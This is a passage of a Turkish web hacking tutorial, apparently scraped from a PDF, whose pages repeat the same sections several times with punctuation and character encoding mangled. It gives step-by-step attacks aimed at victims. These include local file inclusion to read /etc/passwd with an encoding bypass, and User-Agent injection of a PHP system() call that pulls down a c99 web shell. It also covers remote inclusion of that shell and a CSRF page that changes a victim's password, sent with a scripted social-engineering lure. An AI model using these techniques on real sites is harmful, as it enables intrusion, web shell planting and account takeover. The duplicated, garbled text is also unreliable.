Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 41: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 42: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 43: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 44: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

